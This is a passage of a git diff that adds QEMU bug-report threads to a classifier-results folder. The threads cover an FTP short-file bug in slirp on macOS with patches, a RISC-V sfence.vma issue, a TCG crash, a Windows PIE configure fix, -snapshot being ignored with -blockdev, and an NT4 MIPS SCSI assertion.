ftp'ed ftp://ftp.isc.org/isc/bind9/9.16.11/bind-9.16.11.tar.xz +Both were short and did not match the find at ISC. + +See attached. SHA1 should be 1bfb5725c85fd9dffe868d8e826a1f8c0de509cc + + +First boot in previous comment was with: +qemu-system-i386 -m 256M -hda openbsd-disk-i386.img -net user -net nic + +I've spent some more time on this. +I've tcpdump'ed the connection whilst doing the download (via both HTTP & FTP). + +In the last data packet, the last byte that is missing on the filesystem is in the packet, but the packet has the urgent bit set with the urgent pointer the same as the length of the packet. + +I'm not sure but this might cause the client app to discard part of the packet? +Unclear. + +Also I've build Qemu 4.2.1 on MacOS X/Big Sur - I'm seeing the same issue on FreeBSD/amd64. +This bug might be related: +https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=237441 + + +The more I look at this, the more I think it may be a macOS bug underneath. + +I've tested OpenBSD as a guest on a Debian AWS instance running 4.2.1 - all is fine. +I've tested OpenBSD as a guest on a FreeBSD AWS instance running whatever is in ports and all is fine. + +Also others are having trouble: +https://twitter.com/astr0baby/status/1354952352713887754 +Mac OS on M1 silicon with Free and NetBSD as guest OS. + + +This is NOT a fix but we can get working FTPs again with this patch - narrowing into where the problem is. Looks like the behaviour of this code is different on macOS to other OSes. + +--- slirp.c.orig 2021-02-08 21:05:20.000000000 +0000 ++++ slirp.c 2021-02-10 11:00:00.000000000 +0000 +@@ -621,18 +621,7 @@ + * This will soread as well, so no need to + * test for SLIRP_POLL_IN below if this succeeds + */ +- if (revents & SLIRP_POLL_PRI) { +- ret = sorecvoob(so); +- if (ret < 0) { +- /* Socket error might have resulted in the socket being +- * removed, do not try to do anything more with it. */ +- continue; +- } +- } +- /* +- * Check sockets for reading +- */ +- else if (revents & ++ if (revents & + (SLIRP_POLL_IN | SLIRP_POLL_HUP | SLIRP_POLL_ERR)) { + /* + * Check for incoming connections + +ok - one of my friends has written a test program. we will provide a writeup tomorrow, but basically towards the end of a stream both HUP & PRI are getting set on a poll call (on Mac) which means the code above would be invoked - on other platforms these aren't see. Better explanation & more details to follow tomorrow. + + +Writeup as promised. + +Symptom: +-------- +Qemu on Mac OS X - both Catalina and Big Sur. +The issue occurs in both 5.2 and 4.2* branches of Qemu. + +Applications such as ftp that read large amounts of data from the network +may ignore valid data due to the Urgent flag being set on packets in the +stream. + +- Install a Unix VM (e.g. NetBSD, OpenBSD, etc) on Qemu using Mac OS X. +- Try to FTP a large file, such as + ftp://ftp.isc.org/isc/bind9/9.16.11/bind-9.16.11.tar.xz + and you will be one byte short (not just this file, it's just an ex). + +Synopsis: +--------- +- On inspection, the urgent flag is being set on the last packet of data +- As a result data is missing and is not received by the client app + because it is considered out of band. +- poll() on Mac OS X has different behaviour to other Unices. +- towards the end of a stream, PRI and HUP are sent (whereas on FreeBSD + and others it is not) +- as a result of PRI, the slirp library used in Qemu for the user + network interface adds an urgent bit to the relevant packets + +To see the different behaviour, we setup a server to serve a large file +and wrote a client to receive it, using poll() and dumping information about the flags. + +Here is FreeBSD - the IN flag is set throughout. + +ec2-user@freebsd:~/polltest $ ./a.out -w -P lXXX.net +Resolving lXXX.net: trying XXX.XXX.XXX.XXX... OK +FD 3 ready: POLLIN +Read 1024 byte(s) +FD 3 ready: POLLIN +Read 1024 total byte(s) +[snipped] + +FD 3 ready: POLLIN +Read 102400 total byte(s) +ec2-user@freebsd:~/polltest $ + +Here is Mac OS X (Big Sur). You can see at the end of the stream, +both PRI & HUP are set. + +Resolving lXXX.net: trying XXX.XXX.XXX.XXX .. OK +FD 5 ready: POLLIN +Read 1024 byte(s) +[Snipped] + +FD 5 ready: POLLIN +Read 416 byte(s) +FD 5 ready: POLLIN POLLPRI POLLHUP +Hangup on FD 5 +Read 160 byte(s) +FD 5 ready: POLLIN POLLPRI POLLHUP +Hangup on FD 5 +Read 102400 total byte(s) + +Towards a fix: +-------------- +The following patch removes the symptom simply by ignoring these flags. +This is not necessarily the final answer, but we have run with this patch +for a couple of days and haven't seen any negative behaviour. + +diff -ru qemu-5.2.0/slirp/src/slirp.c qemu-5.2.0-wrk/slirp/src/slirp.c +--- qemu-5.2.0/slirp/src/slirp.c 2021-02-10 11:02:07.000000000 +0000 ++++ qemu-5.2.0-wrk/slirp/src/slirp.c 2021-02-10 13:07:17.000000000 +0000 +@@ -23,7 +23,7 @@ + * THE SOFTWARE. + */ + #include "slirp.h" +- ++#define IGNOREPOLLPRI + + #ifndef _WIN32 + #include <net/if.h> +@@ -621,6 +621,8 @@ + * This will soread as well, so no need to + * test for SLIRP_POLL_IN below if this succeeds + */ ++ ++#ifndef IGNOREPOLLPRI + if (revents & SLIRP_POLL_PRI) { + ret = sorecvoob(so); + if (ret < 0) { +@@ -633,6 +635,9 @@ + * Check sockets for reading + */ + else if (revents & ++#else ++ if (revents & ++#endif + (SLIRP_POLL_IN | SLIRP_POLL_HUP | SLIRP_POLL_ERR)) { + /* + * Check for incoming connections + + +Adam Chappell figured most of this out (because a. he is (mostly) cleverer than me, b. he didn't sell his copy of Stevens UNIX Network Programming like I did in the 00s). + +Maybe related: +https://bugs.launchpad.net/qemu/+bug/1916344 +(and https://gitlab.freedesktop.org/slirp/libslirp/-/issues/35 ) + +libslirp now has a workaround for this in slirp.c. + +Could we close this ticket now if there is a workaround in libslirp now? + +If it’s included in qemu when one downloads the sources I’m happy. + +Sent from my iPhone + +> On 15 May 2021, at 11:55, Thomas Huth <email address hidden> wrote: +> +> Could we close this ticket now if there is a workaround in libslirp now? +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1914117 +> +> Title: +> Short files returned via FTP on Qemu with various architectures and +> OSes +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> +> Qemu 5.2 on Mac OS X Big Sur. +> +> I originally thought that it might be caused by the home-brew version of Qemu, but this evening I have removed the brew edition and compiled from scratch (using Ninja & Xcode compiler). +> Still getting the same problem,. +> +> On the following architectures: +> arm64, amd64 and sometimes i386 running NetBSD host OS; +> i386 running OpenBSD host OS: +> +> I have seen a consistent problem with FTP returning short files. The +> file will be a couple of bytes too short. I do not believe this is a +> problem with the OS. Downloading the perl source code from CPAN does +> not work properly, nor does downloading bind from isc. I've tried this +> on different architectures as above. +> +> (Qemu 4.2 on Ubuntu/x86_64 with NetBSD/i386 seems to function fine. My +> gut feel is there is something not right on the Mac OS version of Qemu +> or a bug in 5.2 - obviously in the network layer somewhere. If you +> have anything you want me to try, please let me know - happy to help +> get a resolution.) +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1914117/+subscriptions + + +slirp has been updated for QEMU 6.1-rc2, so this should be fixed in the latest 6.1 release candidate. If you've got some spare minutes, could you please check whether it's working for you now in 6.1-rc4 ? + +I tested Qemu 6.1 (MacOS using brew to install) with guest OS NetBSD/i386. The bind distribution file downloaded fine by FTP. +Libslurp has a workaround for MacOS and it looks like its gone in. +I think this one can be closed. +Sorry for the delay +Kind regards +Chris + + +> On 25 Aug 2021, at 08:18, Thomas Huth <email address hidden> wrote: +> +> ** Changed in: qemu +> Status: Fix Committed => Fix Released +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1914117 +> +> Title: +> Short files returned via FTP on Qemu with various architectures and +> OSes +> +> Status in QEMU: +> Fix Released +> +> Bug description: +> +> Qemu 5.2 on Mac OS X Big Sur. +> +> I originally thought that it might be caused by the home-brew version of Qemu, but this evening I have removed the brew edition and compiled from scratch (using Ninja & Xcode compiler). +> Still getting the same problem,. +> +> On the following architectures: +> arm64, amd64 and sometimes i386 running NetBSD host OS; +> i386 running OpenBSD host OS: +> +> I have seen a consistent problem with FTP returning short files. The +> file will be a couple of bytes too short. I do not believe this is a +> problem with the OS. Downloading the perl source code from CPAN does +> not work properly, nor does downloading bind from isc. I've tried this +> on different architectures as above. +> +> (Qemu 4.2 on Ubuntu/x86_64 with NetBSD/i386 seems to function fine. My +> gut feel is there is something not right on the Mac OS version of Qemu +> or a bug in 5.2 - obviously in the network layer somewhere. If you +> have anything you want me to try, please let me know - happy to help +> get a resolution.) +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1914117/+subscriptions +> + + + diff --git a/results/classifier/deepseek-1/output/\boxed{Other}/1906516 b/results/classifier/deepseek-1/output/\boxed{Other}/1906516 new file mode 100644 index 00000000..15c8d640 --- /dev/null +++ b/results/classifier/deepseek-1/output/\boxed{Other}/1906516 @@ -0,0 +1,125 @@ + +[RISCV] sfence.vma need to end the translation block + +QEMU emulator version 5.0.0 + +sfence.vma will flush the tlb, so after this instruction, the translation block should be end. The following code will only work in single step mode: +``` +relocate: + li a0, OFFSET + + la t0, 1f + add t0, t0, a0 + csrw stvec, t0 + + la t0, early_pgtbl + srl t0, t0, PAGE_SHIFT + li t1, SATP_SV39 + or t0, t1, t0 + + csrw satp, t0 +1: + sfence.vma + la t0, trap_s + csrw stvec, t0 + ret +``` + +In this code, I want to relocate pc to virtual address with the OFFSET prefix, before writing to satp, pc run at physic address, stvec has been set a label 1 with a virtual prefix and virtual address has been mapping in early_pgtbl, after writing satp, there will throw a page fault, and pc will set to virtual address of label 1. + +The problem is that, in this situation, the translation block will not end after sfence.vma, and stvec will be set to trap_s, + +``` +---------------- +IN: +Priv: 1; Virt: 0 +0x00000000800000dc: 00a080b3 add ra,ra,a0 +0x00000000800000e0: 00007297 auipc t0,28672 # 0x800070e0 +0x00000000800000e4: f2028293 addi t0,t0,-224 +0x00000000800000e8: 00c2d293 srli t0,t0,12 +0x00000000800000ec: fff0031b addiw t1,zero,-1 +0x00000000800000f0: 03f31313 slli t1,t1,63 +0x00000000800000f4: 005362b3 or t0,t1,t0 +0x00000000800000f8: 18029073 csrrw zero,satp,t0 + +---------------- +IN: +Priv: 1; Virt: 0 +0x00000000800000fc: 12000073 sfence.vma zero,zero +0x0000000080000100: 00000297 auipc t0,0 # 0x80000100 +0x0000000080000104: 1c828293 addi t0,t0,456 +0x0000000080000108: 10529073 csrrw zero,stvec,t0 + +riscv_raise_exception: 12 +riscv_raise_exception: 12 +riscv_raise_exception: 12 +riscv_raise_exception: 12 +... +``` + +So, the program will crash, and the program will work in single step mode: +``` +---------------- +IN: +Priv: 1; Virt: 0 +0x00000000800000f8: 18029073 csrrw zero,satp,t0 + +---------------- +IN: +Priv: 1; Virt: 0 +0x00000000800000fc: 12000073 sfence.vma zero,zero + +riscv_raise_exception: 12 +---------------- +IN: +Priv: 1; Virt: 0 +0xffffffff800000fc: 12000073 sfence.vma zero,zero + +---------------- +IN: +Priv: 1; Virt: 0 +0xffffffff80000100: 00000297 auipc t0,0 # 0xffffffff80000100 + +``` +The pc will set to label 1, instead of trap_s. + +I try to patch the code in fence.i in trans_rvi.inc.c to sfence.vma: +``` + tcg_gen_movi_tl(cpu_pc, ctx->pc_succ_insn); + exit_tb(ctx); + ctx->base.is_jmp = DISAS_NORETURN; +``` +This codes can help to end the tranlate block, since I'm not a qemu guy, I'm not sure if this is a corret method. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/\boxed{correctness}/1799200 b/results/classifier/deepseek-1/output/\boxed{correctness}/1799200 new file mode 100644 index 00000000..8a3d3d9f --- /dev/null +++ b/results/classifier/deepseek-1/output/\boxed{correctness}/1799200 @@ -0,0 +1,61 @@ + +null pointer dereference in tcg_emit_op + +I am insert a custom tcg helper function in i386_tr_insn_start for trace the instructions. + +most of time the qemu runed ok ,but when execute some special software will lead to crash. + + +the below is the insert code: +======================================================================================= + + 8514 static void i386_tr_insn_start(DisasContextBase *dcbase, CPUState *cpu) + 8515 { + 8516 DisasContext *dc = container_of(dcbase, DisasContext, base); + 8517 TCGv_ptr ptr= tcg_const_ptr((void*)cpu); // inserted hepler code + 8518 gen_helper_mad_exec(ptr);// insert helper code + 8519 tcg_gen_insn_start(dc->base.pc_next, dc->cc_op); + 8520 } +====================================================================================== + +below is the callstack + +#0 0x000055555581df5e in tcg_emit_op (opc=opc@entry=INDEX_op_movi_i64) at /root/qemu/tcg/tcg.c:2205 +#1 0x0000555555825911 in tcg_gen_op2 (opc=opc@entry=INDEX_op_movi_i64, a1=140734736923704, a2=a2@entry=792) at /root/qemu/tcg/tcg-op.c:53 +#2 0x000055555581d713 in tcg_const_i64 (opc=INDEX_op_movi_i64, a2=792, a1=0x7378) at /root/qemu/tcg/tcg-op.h:109 +#3 0x000055555581d713 in tcg_const_i64 (arg=792, ret=<optimized out>) at /root/qemu/tcg/tcg-op.h:579 +#4 0x000055555581d713 in tcg_const_i64 (val=val@entry=792) at /root/qemu/tcg/tcg.c:1314 +#5 0x000055555582732d in tcg_gen_addi_i64 (ret=0xd18, arg1=0x378, arg2=arg2@entry=792) at /root/qemu/tcg/tcg-op.c:1200 +#6 0x000055555590ffaf in gen_sse (b=792, a=<optimized out>, r=<optimized out>) at /root/qemu/tcg/tcg-op.h:1258 +#7 0x000055555590ffaf in gen_sse (env=env@entry=0x5555567424d0, s=s@entry=0x7fffea99a610, b=b@entry=366, pc_start=pc_start@entry=4513509698, rex_r=rex_r@entry=0) at /root/qemu/target/i386/translate.c:3150 +#8 0x0000555555911d7f in disas_insn (s=s@entry=0x7fffea99a610, cpu=<optimized out>) at /root/qemu/target/i386/translate.c:8336 +#9 0x00005555559207a0 in i386_tr_translate_insn (dcbase=0x7fffea99a610, cpu=<optimized out>) at /root/qemu/target/i386/translate.c:8543 +#10 0x0000555555892649 in translator_loop (ops=0x55555622dee0 <i386_tr_ops>, db=0x7fffea99a610, cpu=0x55555673a220, tb=<optimized out>) at /root/qemu/accel/tcg/translator.c:110 +#11 0x00005555559209ef in gen_intermediate_code (cpu=cpu@entry=0x55555673a220, tb=tb@entry=0x7fff70682040 <code_gen_buffer+208150547>) at /root/qemu/target/i386/translate.c:8605 +#12 0x0000555555891437 in tb_gen_code (cpu=cpu@entry=0x55555673a220, pc=pc@entry=4513506448, cs_base=cs_base@entry=0, flags=flags@entry=4244147, cflags=cflags@entry=0) at /root/qemu/accel/tcg/translate-all.c:1728 +#13 0x000055555588f97b in cpu_exec (cf_mask=0, tb_exit=0, last_tb=0x0, cpu=0x0) at /root/qemu/accel/tcg/cpu-exec.c:410 +#14 0x000055555588f97b in cpu_exec (cpu=cpu@entry=0x55555673a220) at /root/qemu/accel/tcg/cpu-exec.c:734 +#15 0x000055555584b152 in tcg_cpu_exec (cpu=0x55555673a220) at /root/qemu/cpus.c:1405 +#16 0x000055555584d1b8 in qemu_tcg_rr_cpu_thread_fn (arg=<optimized out>) at /root/qemu/cpus.c:1505 +#17 0x00007ffff2585e25 in start_thread () at /lib64/libpthread.so.0 +#18 0x00007ffff22afbad in clone () at /lib64/libc.so.6 + +Does this bug occur with a normal build of QEMU or only with your changes to it? + +1. You're leaking the "ptr" TCG temp. Fix it, and also test your code with the --enable-debug-tcg configure flag. +2. Don't insert your helper in .insn_start; you'll have better luck in .translate_insn. + + +Hi Emilio G. Cota (cota), + for point 1, I don't know what you mean about leaking the ptr TCG temp + for point 2. what I want to do is call callback function when execute every guest instructions + so I think it's not should inset code in .translate_insn. what do you think about it? + + + + + +Hi Emilio G. Cota (cota), + thank you, + after I free the "ptr",there is no crash occur :) + diff --git a/results/classifier/deepseek-1/output/\boxed{other}/1871798 b/results/classifier/deepseek-1/output/\boxed{other}/1871798 new file mode 100644 index 00000000..2341dedb --- /dev/null +++ b/results/classifier/deepseek-1/output/\boxed{other}/1871798 @@ -0,0 +1,178 @@ + +Fails to start on Windows host without explicit --disable-pie + +Since commit d2cd29e30736afd4a1e8cac3cf4da360bbc65978, which removed the x86 conditional around PIE, QEMU completely fails to start on a Windows host unless --disable-pie is explicitly given at build time. Even just requesting the help text doesn't work. To make testing easier, this can be replicated with Wine. + +What compiler and toolchain are you using? + +I'm using GCC 9.3.0 with mingw-w64 7.0.0, all built with Gentoo Linux's crossdev. + +I didn't know whether PIE is generally supported on Windows or not. It was possible that Gentoo is just inadvertently disabling support for it. It did stem from a bug report though and reading around, others elsewhere have reported that PIE on Windows doesn't work. + +It seems on some compilers the test can pass but still give you +broken binaries. + +[AJB untested - please could windows users test] + +Fixes: d2cd29e30736 +Fixes: https://bugs.launchpad.net/qemu/+bug/1871798 +Cc: Bug 1871798 <email address hidden> +Cc: James Le Cuirot <email address hidden> +Signed-off-by: Alex Bennée <email address hidden> +--- + configure | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/configure b/configure +index a207cce82bc..e9c5f630c14 100755 +--- a/configure ++++ b/configure +@@ -807,6 +807,7 @@ MINGW32*) + audio_drv_list="" + fi + supported_os="yes" ++ pie="no" + ;; + GNU/kFreeBSD) + bsd="yes" +-- +2.20.1 + + + +On Thu, Apr 9, 2020 at 11:18 PM Alex Bennée <email address hidden> wrote: + +> It seems on some compilers the test can pass but still give you +> broken binaries. +> +> [AJB untested - please could windows users test] +> +> Fixes: d2cd29e30736 +> Fixes: https://bugs.launchpad.net/qemu/+bug/1871798 +> Cc: Bug 1871798 <email address hidden> +> Cc: James Le Cuirot <email address hidden> +> Signed-off-by: Alex Bennée <email address hidden> +> --- +> configure | 1 + +> 1 file changed, 1 insertion(+) +> +> diff --git a/configure b/configure +> index a207cce82bc..e9c5f630c14 100755 +> --- a/configure +> +++ b/configure +> @@ -807,6 +807,7 @@ MINGW32*) +> audio_drv_list="" +> fi +> supported_os="yes" +> + pie="no" +> ;; +> GNU/kFreeBSD) +> bsd="yes" +> -- +> 2.20.1 +> + +Solves my issue! So, + +Tested-by: Howard Spoelstra <email address hidden> + + +Tested and working. Thank you! + +On 4/9/20 11:15 PM, Alex Bennée wrote: +> It seems on some compilers the test can pass but still give you +> broken binaries. +> +> [AJB untested - please could windows users test] +> +> Fixes: d2cd29e30736 +> Fixes: https://bugs.launchpad.net/qemu/+bug/1871798 +> Cc: Bug 1871798 <email address hidden> +> Cc: James Le Cuirot <email address hidden> +> Signed-off-by: Alex Bennée <email address hidden> +> --- +> configure | 1 + +> 1 file changed, 1 insertion(+) +> +> diff --git a/configure b/configure +> index a207cce82bc..e9c5f630c14 100755 +> --- a/configure +> +++ b/configure +> @@ -807,6 +807,7 @@ MINGW32*) +> audio_drv_list="" +> fi +> supported_os="yes" +> + pie="no" +> ;; +> GNU/kFreeBSD) +> bsd="yes" +> + +Reviewed-by: Philippe Mathieu-Daudé <email address hidden> + + + +It seems on some compilers the test can pass but still give you +broken binaries. + +Fixes: d2cd29e30736 +Fixes: https://bugs.launchpad.net/qemu/+bug/1871798 +Cc: Bug 1871798 <email address hidden> +Signed-off-by: Alex Bennée <email address hidden> +Tested-by: Howard Spoelstra <email address hidden> +Tested-by: James Le Cuirot <email address hidden> +Reviewed-by: Philippe Mathieu-Daudé <email address hidden> +Reviewed-by: Richard Henderson <email address hidden> +--- + configure | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/configure b/configure +index 25f7d915720..23b5e93752b 100755 +--- a/configure ++++ b/configure +@@ -807,6 +807,7 @@ MINGW32*) + audio_drv_list="" + fi + supported_os="yes" ++ pie="no" + ;; + GNU/kFreeBSD) + bsd="yes" +-- +2.20.1 + + + +It seems on some compilers the test can pass but still give you +broken binaries. + +Fixes: d2cd29e30736 +Fixes: https://bugs.launchpad.net/qemu/+bug/1871798 +Cc: Bug 1871798 <email address hidden> +Signed-off-by: Alex Bennée <email address hidden> +Tested-by: Howard Spoelstra <email address hidden> +Tested-by: James Le Cuirot <email address hidden> +Reviewed-by: Philippe Mathieu-Daudé <email address hidden> +Reviewed-by: Richard Henderson <email address hidden> +Message-Id: <email address hidden> + +diff --git a/configure b/configure +index 25f7d915720..23b5e93752b 100755 +--- a/configure ++++ b/configure +@@ -807,6 +807,7 @@ MINGW32*) + audio_drv_list="" + fi + supported_os="yes" ++ pie="no" + ;; + GNU/kFreeBSD) + bsd="yes" +-- +2.20.1 + + + +Fixed in commit 469a788cdd3c618ef1b8a23a339510082b3eeea7. + diff --git a/results/classifier/deepseek-1/output/`-blockdev`./1860759 b/results/classifier/deepseek-1/output/`-blockdev`./1860759 new file mode 100644 index 00000000..6314cc4d --- /dev/null +++ b/results/classifier/deepseek-1/output/`-blockdev`./1860759 @@ -0,0 +1,138 @@ + +[REGRESSION] option `-snapshot` ignored with blockdev + +After upgrade of qemu 3.1.0 → 4.2.0 I found that running with libvirt doesn't honor `-snapshot` option anymore. I.e. disk images get modified. +Using `-hda` option honors `-snapshot` + +So I made a test case without libvirt. Testcase using 4.2.0: + +> qemu -hda tmp-16G.img -cdrom regular-rescue-latest-x86_64.iso -m 2G + +This works fine and tmp-16G.img stays unmodified. + +But: +> /usr/bin/qemu-system-x86_64 -name guest=test-linux,debug-threads=on -S -machine pc-i440fx-3.1,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu Broadwell-noTSX,vme=on,ss=on,f16c=on,rdrand=on,hypervisor=on,arat=on,tsc-adjust=on,xsaveopt=on,pdpe1gb=on,abm=on -m 2048 -overcommit mem-lock=off -smp 3,sockets=3,cores=1,threads=1 -uuid d32a9191-f51d-4fae-a419-b73d85b49198 -no-user-config -nodefaults -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -blockdev \{\"driver\":\"file\",\"filename\":\"/tmp/regular-rescue-latest-x86_64.iso\",\"node-name\":\"libvirt-2-storage\",\"auto-read-only\":true,\"discard\":\"unmap\"} -blockdev \{\"node-name\":\"libvirt-2-format\",\"read-only\":true,\"driver\":\"raw\",\"file\":\"libvirt-2-storage\"} -device ide-cd,bus=ide.0,unit=0,drive=libvirt-2-format,id=ide0-0-0,bootindex=1 -blockdev \{\"driver\":\"file\",\"filename\":\"/tmp/tmp-2G.img\",\"node-name\":\"libvirt-1-storage\",\"auto-read-only\":true,\"discard\":\"unmap\"} -blockdev \{\"node-name\":\"libvirt-1-format\",\"read-only\":false,\"driver\":\"qcow2\",\"file\":\"libvirt-1-storage\",\"backing\":null} -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x7,drive=libvirt-1-format,id=virtio-disk0 -netdev user,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:ab:d8:29,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6 -snapshot -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on + +This modifies tmp-16G.img. + +JFYI, I know that snapshot=on option should be used. But `-snapshot` option exists and must work. +Also libvirt doesn't yet support it: https://bugzilla.redhat.com/show_bug.cgi?id=508662 + + +Hi, + +I don’t know much about libvirt, but I would have thought that any manual modification of the qemu command line isn’t supported and might always break. + +Anyway, from a QEMU POV, -snapshot only works with -drive (this includes -hda, etc.). It doesn’t work with -blockdev. I can see that this isn’t documented for -snapshot, but basically whenever -blockdev is used, the user assumes full responsibility for the block graph (or at least that particular subgraph). We cannot enable snapshot functionality then. + +So this can’t be fixed in qemu, as -snapshot doesn’t make sense for -blockdev. This behavior should be documented, though. + +As for libvirt, I don’t know. I would be surprised if it had a guarantee for keeping manual qemu command line additions working, and I can’t imagine that it would scan the XML for “legacy” qemu parameters and interpret them itself (which it would need to do to keep -snapshot working for -blockdev). + +Max + +Max, thanks a lot for the explanation. +Do you mean that snapshot-ing isn't possible totally for blockdev? Then I +guess some libvirt users are in trouble :(( +Actually I didn't quite caught the reason why a blockdev supports backing +but not {backing to a file on /tmp then promptly deleted} ? What's the +technical difference? + + +On 1/24/20 4:41 AM, Ildar wrote: +> Max, thanks a lot for the explanation. +> Do you mean that snapshot-ing isn't possible totally for blockdev? Then I +> guess some libvirt users are in trouble :(( +> Actually I didn't quite caught the reason why a blockdev supports backing +> but not {backing to a file on /tmp then promptly deleted} ? What's the +> technical difference? +> + +On 1/24/20 4:05 AM, Max Reitz wrote: +> +> +> I don’t know much about libvirt, but I would have thought that any +> manual modification of the qemu command line isn’t supported and might +> always break. +> +> Anyway, from a QEMU POV, -snapshot only works with -drive (this includes +> -hda, etc.). It doesn’t work with -blockdev. I can see that this isn’t +> documented for -snapshot, but basically whenever -blockdev is used, the +> user assumes full responsibility for the block graph (or at least that +> particular subgraph). We cannot enable snapshot functionality then. + +Libvirt has never produced a qemu command line containing '-snapshot'. +Part of this is that libvirt wants to control SELinux settings, and +letting qemu create a temporary overlay in /tmp in order to implement +-snapshot does not play nicely with libvirt pre-creating all files that +qemu is allowed to access. + +The fact that you were able to manually add -snapshot to your qemu +command line with older libvirt using -drive (I'm assuming you were also +not using libvirt's SELinux support, because if you were, qemu would +have been unable to create/access the temporary wrapper in /tmp), is a +nice hack. But since modern qemu has declared -snapshot to be +unsupported with -blockdev, and modern libvirt has switched to +-blockdev, I claim that this is not a qemu bug, but a libvirt feature +request. + +That said, libvirt has had a vision for a design for implementing the +equivalent of -drive -snapshot: the <transient/> sub-element added to +the domain/disk/source/driver element has been documented for a long time: + +https://libvirt.org/formatdomain.html +"transient + If present, this indicates that changes to the device contents +should be reverted automatically when the guest exits. With some +hypervisors, marking a disk transient prevents the domain from +participating in migration or snapshots. Since 0.9.5 " + +However, no one has yet implemented it for libvirt's qemu driver. Part +of our reluctance has been that we knew that implementing it would +require libvirt to precreate the wrapper file on every guest start, and +it is only very recently that we've even had enough functionality in +libvirt's qemu driver coupled with new qemu commands to create qcow2 +images using QMP rather than having to shell out to qemu-img. And part +of it is that there was no point in implementing something to work with +-drive, when we knew we had to rework everything for -blockdev anyways. +But now that the work in libvirt to switch to -blockdev is done, it +should be a lot easier to implement PROPER support for the <transient/> +tag, at least for -blockdev usage. + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3226 +Virtualization: qemu.org | libvirt.org + + + +Thank a lot for the detailed answer. Surely it's worth discussing qemu here +leaving libvirt for RH bugzilla. + +> But since modern qemu has declared -snapshot to be unsupported with +-blockdev, and modern libvirt has switched to -blockdev, I claim that this +is not a qemu bug, but a libvirt feature request. + +I'm convinced this isn't qemu's bug. And everything you wrote is +well-justified. Yet, one question left unanswered: +> Do you mean that snapshot-ing isn't possible totally for blockdev? +> Actually I didn't quite caught the reason why a blockdev supports backing +but not {backing to a file on /tmp then promptly deleted} ? What's the +technical difference? + +Thanks! + + +Hi, + +The technical difference is that -blockdev requires you (the user or management software) to create all block graph nodes explicitly. -drive snapshot=on implicitly creates a qcow2 node above the actual disk image (and that node points to a temporary image in /tmp). So because it’s implicit and not explicit, it can’t work with -blockdev. + +With -blockdev, the user has to create this temporary overlay, open it in qemu (with blockdev-add or -blockdev), and then delete it. + +Max + +this answers the whole question. Thanks a lot. closing + + +Internal implementation details aside, from the user PoV it is a *very* serious issue. If -snapshot can't be applied automatically, maybe qemu should warn or better fail if -snapshot is used together with -blockdev. + diff --git a/results/classifier/deepseek-1/output/```/1252270 b/results/classifier/deepseek-1/output/```/1252270 new file mode 100644 index 00000000..60c63634 --- /dev/null +++ b/results/classifier/deepseek-1/output/```/1252270 @@ -0,0 +1,36 @@ + +installing NT4 on MIPS Magnum/Jazz asserts + +While installing NT4 on MIPS Magnum (Jazz), when the NT Installer tries to format the harddisk, QEmu 1.6.1 crashes with an assertion: + +qemu-system-mips64el: g364: invalid read at [0000000000102000] +qemu-system-mips64el: hw/scsi/scsi-bus.c:1577: scsi_req_data: Assertion `req->cmd.mode != SCSI_XFER_NONE' failed. +./nt4mips.sh: line 3: 20336 Aborted (core dumped) ./qemu-system-mips64el --machine magnum -m 64 -net nic -net user -hda nt4.dsk -cdrom NTWKS40D.ISO -global ds1225y.filename=nvram.bin -global ds1225y.size=16384 + +This assertion also occurred with the stock Ubuntu version of QEmu (1.5.0 (Debian 1.5.0+dfsg-3ubuntu5)) which I tried before. + +Note that to even get this far, you need the patch mentioned in BUG1245924, otherwise QEmu 1.6.1 won't even start/boot at all + +NT4 installation guide I'm following: +http://gunkies.org/wiki/Installing_Windows_NT_4.0_on_Qemu(MIPS) +http://virtuallyfun.superglobalmegacorp.com/?p=2255 + +As a side note, that "invalid read at..." warning is unrelated, as it happens right on startup + +This bug is still present in qemu 